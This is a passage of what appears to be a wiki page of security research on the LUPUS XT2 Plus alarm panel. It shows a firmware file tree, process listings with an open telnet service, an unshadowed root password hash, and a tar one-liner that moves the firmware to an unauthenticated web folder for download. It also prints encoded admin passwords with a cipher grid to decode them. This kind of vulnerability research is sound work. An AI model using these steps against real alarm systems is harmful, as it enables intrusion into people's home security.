│   │   │   ├── report.htm&lt;br /&gt;
│   │   │   ├── reportEvent.htm&lt;br /&gt;
│   │   │   ├── reportSMS.htm&lt;br /&gt;
│   │   │   ├── reportVoice.htm&lt;br /&gt;
│   │   │   ├── scene.htm&lt;br /&gt;
│   │   │   ├── sdcard.htm&lt;br /&gt;
│   │   │   ├── sendSMS.htm&lt;br /&gt;
│   │   │   ├── sirenCtrl.htm&lt;br /&gt;
│   │   │   ├── smtp.htm&lt;br /&gt;
│   │   │   ├── system.htm&lt;br /&gt;
│   │   │   ├── tariffs.htm&lt;br /&gt;
│   │   │   ├── test_ip.htm&lt;br /&gt;
│   │   │   ├── upgrade.htm&lt;br /&gt;
│   │   │   ├── upgradeRF.htm&lt;br /&gt;
│   │   │   ├── upload.htm&lt;br /&gt;
│   │   │   ├── upnp.htm&lt;br /&gt;
│   │   │   ├── userCode.htm&lt;br /&gt;
│   │   │   ├── userCode3.htm&lt;br /&gt;
│   │   │   ├── version&lt;br /&gt;
│   │   │   ├── wireless.htm&lt;br /&gt;
│   │   │   ├── wizard.htm&lt;br /&gt;
│   │   │   ├── xmpp.htm&lt;br /&gt;
│   │   │   └── zwaveTool.htm&lt;br /&gt;
│   │   ├── successReboot.htm&lt;br /&gt;
│   │   ├── svg&lt;br /&gt;
│   │   │   ├── area_status&lt;br /&gt;
│   │   │   │   ├── area_alarm.svg&lt;br /&gt;
│   │   │   │   ├── area_armed.svg&lt;br /&gt;
│   │   │   │   ├── area_disarmed.svg&lt;br /&gt;
│   │   │   │   ├── area_home.svg&lt;br /&gt;
│   │   │   │   └── area_warning.svg&lt;br /&gt;
│   │   │   ├── arrow.svg&lt;br /&gt;
│   │   │   ├── btn_map.svg&lt;br /&gt;
│   │   │   ├── current&lt;br /&gt;
│   │   │   │   ├── {0-47}.svg&lt;br /&gt;
│   │   │   ├── forecast&lt;br /&gt;
│   │   │   │   ├── {0-47}.svg&lt;br /&gt;
│   │   │   ├── grid.svg&lt;br /&gt;
│   │   │   ├── icons&lt;br /&gt;
│   │   │   │   ├── connected.svg&lt;br /&gt;
│   │   │   │   ├── day.svg&lt;br /&gt;
│   │   │   │   ├── disconnected.svg&lt;br /&gt;
│   │   │   │   ├── eye.svg&lt;br /&gt;
│   │   │   │   ├── in.svg&lt;br /&gt;
│   │   │   │   ├── location.svg&lt;br /&gt;
│   │   │   │   ├── miss.svg&lt;br /&gt;
│   │   │   │   ├── night.svg&lt;br /&gt;
│   │   │   │   ├── out.svg&lt;br /&gt;
│   │   │   │   ├── purple.svg&lt;br /&gt;
│   │   │   │   ├── rain_probability.svg&lt;br /&gt;
│   │   │   │   ├── ring.svg&lt;br /&gt;
│   │   │   │   ├── temperature.svg&lt;br /&gt;
│   │   │   │   ├── winddirection.svg&lt;br /&gt;
│   │   │   │   └── windspeed.svg&lt;br /&gt;
│   │   │   ├── logo1plus.svg&lt;br /&gt;
│   │   │   ├── logo2.svg&lt;br /&gt;
│   │   │   ├── logo2plus.svg&lt;br /&gt;
│   │   │   ├── logo3.svg&lt;br /&gt;
│   │   │   ├── nocam.svg&lt;br /&gt;
│   │   │   ├── nocontent.svg&lt;br /&gt;
│   │   │   └── notify&lt;br /&gt;
│   │   │       ├── notify_bell.svg&lt;br /&gt;
│   │   │       ├── notify_information.svg&lt;br /&gt;
│   │   │       ├── notify_shield.svg&lt;br /&gt;
│   │   │       └── notify_warning.svg&lt;br /&gt;
│   │   ├── temp -&amp;gt; ../temp&lt;br /&gt;
│   │   ├── templates&lt;br /&gt;
│   │   │   ├── grid_c.htm&lt;br /&gt;
│   │   │   ├── grid_gu.htm&lt;br /&gt;
│   │   │   └── grid_widget.htm&lt;br /&gt;
│   │   ├── test&lt;br /&gt;
│   │   │   ├── config.htm&lt;br /&gt;
│   │   │   ├── httpc.htm&lt;br /&gt;
│   │   │   ├── runXMLCmd.htm&lt;br /&gt;
│   │   │   └── tryReport.htm&lt;br /&gt;
│   │   └── welcome.htm&lt;br /&gt;
│   ├── in&lt;br /&gt;
│   ├── launcher&lt;br /&gt;
│   ├── script&lt;br /&gt;
│   │   ├── apnsCert.pem&lt;br /&gt;
│   │   ├── apnsKey.pem&lt;br /&gt;
│   │   ├── codec.sh&lt;br /&gt;
│   │   ├── index1.htm&lt;br /&gt;
│   │   ├── index2.htm&lt;br /&gt;
│   │   ├── index3.htm&lt;br /&gt;
│   │   ├── lupus_svr.cert&lt;br /&gt;
│   │   ├── lupus_svr.key&lt;br /&gt;
│   │   ├── pppd_connect.txt&lt;br /&gt;
│   │   ├── pppd_option.txt&lt;br /&gt;
│   │   ├── pppd_pap.txt&lt;br /&gt;
│   │   ├── pushproductioncertificate.p12&lt;br /&gt;
│   │   ├── udhcpc.txt&lt;br /&gt;
│   │   ├── upload1.smil&lt;br /&gt;
│   │   ├── upload1v.smil&lt;br /&gt;
│   │   └── upload3.smil&lt;br /&gt;
│   ├── temp -&amp;gt; /mnt/mtd/temp&lt;br /&gt;
│   ├── temp.tgz&lt;br /&gt;
│   └── test&lt;br /&gt;
├── sbin&lt;br /&gt;
│   ├── chat&lt;br /&gt;
│   ├── depmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── devmem -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── fw_printenv&lt;br /&gt;
│   ├── halt -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── hwclock -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ifconfig -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── init -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── insmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── iwconfig&lt;br /&gt;
│   ├── iwevent&lt;br /&gt;
│   ├── iwgetid&lt;br /&gt;
│   ├── iwlist&lt;br /&gt;
│   ├── iwpriv&lt;br /&gt;
│   ├── lsmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mdev -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── modprobe -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── poweroff -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── pppd&lt;br /&gt;
│   ├── pppdump&lt;br /&gt;
│   ├── pppoe-discovery&lt;br /&gt;
│   ├── pppstats&lt;br /&gt;
│   ├── reboot -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── rmmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── route -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── udhcpc -&amp;gt; /bin/busybox&lt;br /&gt;
│   └── watchdog -&amp;gt; /bin/busybox&lt;br /&gt;
├── share&lt;br /&gt;
└── sys&lt;br /&gt;
    ├── devices&lt;br /&gt;
    │   └── platform&lt;br /&gt;
    │       └── uevent&lt;br /&gt;
    └── fs&lt;br /&gt;
&lt;br /&gt;
46 directories, 534 files&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Running Processes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[root@HPGW-NET6]# top&lt;br /&gt;
Mem: 35556K used, 26668K free, 0K shrd, 0K buff, 18604K cached&lt;br /&gt;
CPU:   2% usr   7% sys   0% nic  89% idle   0% io   0% irq   0% sirq&lt;br /&gt;
Load average: 0.11 0.10 0.09 1/54 12168&lt;br /&gt;
  PID  PPID USER     STAT   VSZ %VSZ %CPU COMMAND&lt;br /&gt;
  225   224 root     S    25632  41%   2% ./hpgw&lt;br /&gt;
12158   326 root     R     1796   3%   1% top&lt;br /&gt;
  194     1 root     S     1872   3%   0% telnetd -p 55023&lt;br /&gt;
  222   183 root     S     2836   5%   0% /root/launcher&lt;br /&gt;
  326   194 root     S     1796   3%   0% -sh&lt;br /&gt;
    1     0 root     S     1792   3%   0% {init} /bin/busybox ash /init&lt;br /&gt;
  183   169 root     S     1792   3%   0% {rc.climax} /bin/sh /etc/init.d/rc.climax&lt;br /&gt;
  169   168 root     S     1792   3%   0% {rc.sysinit} /bin/sh /etc/init.d/rc.sysinit&lt;br /&gt;
  168     1 root     S     1792   3%   0% {linuxrc} init&lt;br /&gt;
  224   222 root     S     1792   3%   0% sh -c ./hpgw&lt;br /&gt;
11598     1 root     S     1792   3%   0% udhcpc -b -i eth0&lt;br /&gt;
  113     2 root     SW&amp;lt;      0   0%   0% [ftssp010_spi.0]&lt;br /&gt;
   85     2 root     SW       0   0%   0% [pdflush]&lt;br /&gt;
  179     2 root     SWN      0   0%   0% [jffs2_gcd_mtd1]&lt;br /&gt;
    4     2 root     SW&amp;lt;      0   0%   0% [events/0]&lt;br /&gt;
    3     2 root     SW&amp;lt;      0   0%   0% [ksoftirqd/0]&lt;br /&gt;
    5     2 root     SW&amp;lt;      0   0%   0% [khelper]&lt;br /&gt;
    2     0 root     SW&amp;lt;      0   0%   0% [kthreadd]&lt;br /&gt;
   58     2 root     SW&amp;lt;      0   0%   0% [kblockd/0]&lt;br /&gt;
   64     2 root     SW&amp;lt;      0   0%   0% [khubd]&lt;br /&gt;
   84     2 root     SW       0   0%   0% [pdflush]&lt;br /&gt;
   86     2 root     SW&amp;lt;      0   0%   0% [kswapd0]&lt;br /&gt;
   87     2 root     SW&amp;lt;      0   0%   0% [aio/0]&lt;br /&gt;
   88     2 root     SW&amp;lt;      0   0%   0% [nfsiod]&lt;br /&gt;
  111     2 root     SW&amp;lt;      0   0%   0% [mtdblockd]&lt;br /&gt;
  159     2 root     SW&amp;lt;      0   0%   0% [rpciod/0]&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# ps&lt;br /&gt;
    1 root      1792 S    {init} /bin/busybox ash /init&lt;br /&gt;
    2 root         0 SW&amp;lt;  [kthreadd]&lt;br /&gt;
    3 root         0 SW&amp;lt;  [ksoftirqd/0]&lt;br /&gt;
    4 root         0 SW&amp;lt;  [events/0]&lt;br /&gt;
    5 root         0 SW&amp;lt;  [khelper]&lt;br /&gt;
   58 root         0 SW&amp;lt;  [kblockd/0]&lt;br /&gt;
   64 root         0 SW&amp;lt;  [khubd]&lt;br /&gt;
   84 root         0 SW   [pdflush]&lt;br /&gt;
   85 root         0 SW   [pdflush]&lt;br /&gt;
   86 root         0 SW&amp;lt;  [kswapd0]&lt;br /&gt;
   87 root         0 SW&amp;lt;  [aio/0]&lt;br /&gt;
   88 root         0 SW&amp;lt;  [nfsiod]&lt;br /&gt;
  111 root         0 SW&amp;lt;  [mtdblockd]&lt;br /&gt;
  113 root         0 SW&amp;lt;  [ftssp010_spi.0]&lt;br /&gt;
  159 root         0 SW&amp;lt;  [rpciod/0]&lt;br /&gt;
  168 root      1792 S    {linuxrc} init&lt;br /&gt;
  169 root      1792 S    {rc.sysinit} /bin/sh /etc/init.d/rc.sysinit&lt;br /&gt;
  179 root         0 SWN  [jffs2_gcd_mtd1]&lt;br /&gt;
  183 root      1792 S    {rc.climax} /bin/sh /etc/init.d/rc.climax&lt;br /&gt;
  194 root      1872 S    telnetd -p 55023&lt;br /&gt;
  222 root      2836 S    /root/launcher&lt;br /&gt;
  224 root      1792 S    sh -c ./hpgw&lt;br /&gt;
  225 root     25632 S    ./hpgw&lt;br /&gt;
  326 root      1796 S    -sh&lt;br /&gt;
11598 root      1792 S    udhcpc -b -i eth0&lt;br /&gt;
12227 root      1796 R    ps&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Unshadowed Linux Accounts&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
$ unshadow /etc/passwd /etc/shadow&lt;br /&gt;
root:$1$2585$ZheIaaREfseBiXYV8PUkh.:0:0:root:/root:/bin/sh&lt;br /&gt;
bin:*:1:1:bin:/bin:/bin/sh&lt;br /&gt;
daemon:*:2:2:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
adm:*:3:4:adm:/adm:/bin/sh&lt;br /&gt;
lp:*:4:7:lp:/var/spool/lpd:/bin/sh&lt;br /&gt;
sync:*:5:0:sync:/bin:/bin/sync&lt;br /&gt;
shutdown:*:6:11:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:*:7:0:halt:/sbin:/sbin/halt&lt;br /&gt;
uucp:*:10:14:uucp:/var/spool/uucp:/bin/sh&lt;br /&gt;
operator:*:11:0:Operator:/var:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/home:/bin/sh&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Web Interface&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The web interface offers no further insight into the functionality of the device, as it is secured by a &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; file and NO information will be disclosed if a password is entered incorrectly. The attacker is merely presented with a static web page without JavaScript with the message &amp;quot;access denied&amp;quot;. This method provides a simple yet effective way to secure a Web interface. This type of protection is also used against brute-force attacks and the like.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal; line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS XT2 Plus: Unauthorized Login&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=250px&amp;gt;&lt;br /&gt;
image:LUPUS XT2 Warning.png|Warning&lt;br /&gt;
image:LUPUS XT2 Certificate.png|Certificate&lt;br /&gt;
image:LUPUS XT2 Login.png|Login&lt;br /&gt;
image:LUPUS XT2 Denied.png|Denied&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The OS has no suitable programs to transfer files like &amp;lt;code&amp;gt;nc&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ftp&amp;lt;/code&amp;gt; or similar. But the FS is writable. So while having root access via Telnet, it is possible to copy all files that one don&#039;t want to copy manually from the Telnet Terminal window into the folder &amp;lt;code&amp;gt;/root/html/temp/&amp;lt;/code&amp;gt; and then download them via HTTP at the address &amp;lt;code&amp;gt;https://XT2_IP/temp/$FILENAME&amp;lt;/code&amp;gt;. Using the &amp;lt;code&amp;gt;tar&amp;lt;/code&amp;gt; command, entire folders can be downloaded without any authenticated. This allows the even the extraction of the whole accessible firmware from the root shell (&amp;lt;code&amp;gt;cd / &amp;amp;&amp;amp; tar -zcvf firmware.tar.gz * &amp;amp;&amp;amp; mv firmware.tar.gz /root/html/temp/&amp;lt;/code&amp;gt;) and downloading it via web browser (&amp;lt;code&amp;gt;https://XT2_IP/temp/firmware.tar.gz&amp;lt;/code&amp;gt;). This also has the advantage that the firmeware is already unpacked and there is no need to bother with decompressing the file system or the like. Here the file &amp;lt;code&amp;gt;/root/hpgw&amp;lt;/code&amp;gt; is of great interest and will be analyzed in the following. &amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;HPGW API URLs found while analysing the program &amp;lt;code&amp;gt;/root/hpgw&amp;lt;/code&amp;gt;, which manages the whole System. These are not part of the webroot directroy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/action/welcomeGet&lt;br /&gt;
/action/logout&lt;br /&gt;
/action/postAuthCmd (auth.)&lt;br /&gt;
/action/devStatusGet (auth.)&lt;br /&gt;
/action/factory (auth.)&lt;br /&gt;
/action/deviceListGet (auth.)&lt;br /&gt;
/action/recordListGet (auth.)&lt;br /&gt;
/action/datetimeGet (auth.)&lt;br /&gt;
/action/groupGet (auth.)&lt;br /&gt;
/action/webCfgGet (auth.)&lt;br /&gt;
/action/tokenGet (auth.)&lt;br /&gt;
/action/changePasswdGet (auth.)&lt;br /&gt;
/action/newPasswdPost (auth.)&lt;br /&gt;
/action/firmwareUpdatefactory (auth.)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: The device blocks IP and stops responding &amp;lt;code&amp;gt;browser:ERR_EMPTY_RESPONSE&amp;lt;/code&amp;gt; after 3 login attempts.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Example Web Application Config extracted from &amp;lt;code&amp;gt;/root/config/config.json&amp;lt;/code&amp;gt;. Every config file within &amp;lt;code&amp;gt;/root/config -&amp;gt; /mnt/mtd/config&amp;lt;/code&amp;gt; is protected against modification with a MD5 checksum.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebDegreeF&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebPort&amp;quot;:&amp;quot;80&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebPortSSL&amp;quot;:&amp;quot;443&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;WebRedirectSSL&amp;quot;:&amp;quot;1&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Admin_Name&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;admin&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Admin_Passwd&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;NDc2MTAzMj08NQ==&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;Web_Expert_Active&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Expert_Name&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;expert&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_Expert_Passwd&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;YH11YHdxNDc2MQ==&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;Web_SunTime&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;Web_User_Active&amp;quot;:&amp;quot;0&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_User_Name&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;user&amp;quot;,&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;quot;&amp;lt;b&amp;gt;Web_User_Passwd&amp;lt;/b&amp;gt;&amp;quot;:&amp;quot;cHZgdzQ3NjE=&amp;quot;&amp;lt;/span&amp;gt;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The &amp;lt;code&amp;gt;user&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;expert&amp;lt;/code&amp;gt; user are not enabled by default and the default password (&amp;lt;code&amp;gt;{admin|expert|user}1234&amp;lt;/code&amp;gt;) must be changed on activation of any user.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: If the configuration of the device has been exported since the previous reboot, it can be downloaded without authentication via &amp;lt;code&amp;gt;https://$XT2_IP/temp/config.tar.gz&amp;lt;/code&amp;gt;. The configuration contains PINs, user passwords, and all other configuration settings. Passwords and PINs are &amp;quot;encrypted&amp;quot; using a simple substitution cipher.&amp;lt;sup&amp;gt;[[#CVE1|Dan Fabian]]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The system uses a simple substitutions cipher to store passwords. The password strings in config.json are Base64 encoded, so just decode the strings and use the grid below to find a clear text password. For example: the admin password &amp;lt;b&amp;gt;NDc2MTAzMj08NQ===&amp;lt;/b&amp;gt; decodes back to &amp;lt;b&amp;gt;4761032=&amp;lt;5&amp;lt;/b&amp;gt;, which results in &amp;lt;b&amp;gt;1234567890&amp;lt;/b&amp;gt; as a clear text password when using the given cipher grid.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;│ A  D │ M  H │ Y  \ │ k  n │ w  r │ 8  = │ &amp;gt;  ; │ &amp;amp;  # │&lt;br /&gt;
│ B  G │ N  K │ Z  _ │ l  i │ x  } │ 9  &amp;lt; │ ?  : │ &#039;  &amp;quot; │&lt;br /&gt;
│ C  F │ O  J │ a  d │ m  h │ y  │ │ :  ? │ @  E │ (  ─ │&lt;br /&gt;
│ D  A │ P  U │ b  g │ n  k │ z  _ │ ;  &amp;gt; │ {  ~ │ )  , │&lt;br /&gt;
│ E  @ │ Q  T │ c  f │ o  j │ 0  5 │ [  ^ │ │  y │ *  / │&lt;br /&gt;
│ F  C │ R  W │ d  a │ p  u │ 1  4 │ \  Y │ }  x │ +  . │&lt;br /&gt;
│ G  B │ S  V │ e  &#039; │ q  t │ 2  7 │ ]  X │ ~  { │ ,  ) │&lt;br /&gt;
│ H  M │ T  Q │ f  c │ r  w │ 3  6 │ ^  [ │ !  $ │ ─  ( │&lt;br /&gt;
│ I  L │ U  P │ g  b │ s  v │ 4  1 │ _  Z │ &amp;quot;  &#039; │ .  + │&lt;br /&gt;
│ J  O │ V  S │ h  m │ t  q │ 5  0 │ `  e │ #  &amp;amp; │ /  * │&lt;br /&gt;
│ K  N │ W  R │ i  l │ u  p │ 6  3 │ &amp;lt;  9 │ $  ! │      │&lt;br /&gt;
│ L  I │ X  ] │ j  o │ v  s │ 7  2 │ =  8 │ %    │      │&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Special thanks to Justin B. for providing the cipher grid!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Application&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Physical Intervention&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [FR] Un loup est un loup, il mourra dans sa peau, si on ne l&#039;écorche vif. (Original) (1876)&lt;br /&gt;
 [EN] A wolf is a wolf, he&#039;ll die in his skin if he&#039;s not skinned alive. (Translated)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery id=&amp;quot;LUPUS_XT2_Plus_PCB&amp;quot; caption=&amp;quot;LUPUS XT2 Plus: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_XT2_Plus_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_XT2_Plus_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: All metal covers have been removed!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Unlike the XT1 Plus and XT3, the XT2 (Plus) has no sabotage contact to protect it against manipulation. The vendor recommends the use of a motion sensor for location protection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS Outdoor Siren&amp;lt;/b&amp;gt;: V2&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;LUPUS Outdoor Siren V2: Main Printed Circuit Board&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:LUPUS_Outdoor_Siren_V2_PCB_Back.jpg|Back&lt;br /&gt;
image:LUPUS_Outdoor_Siren_V2_PCB_Front.jpg|Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
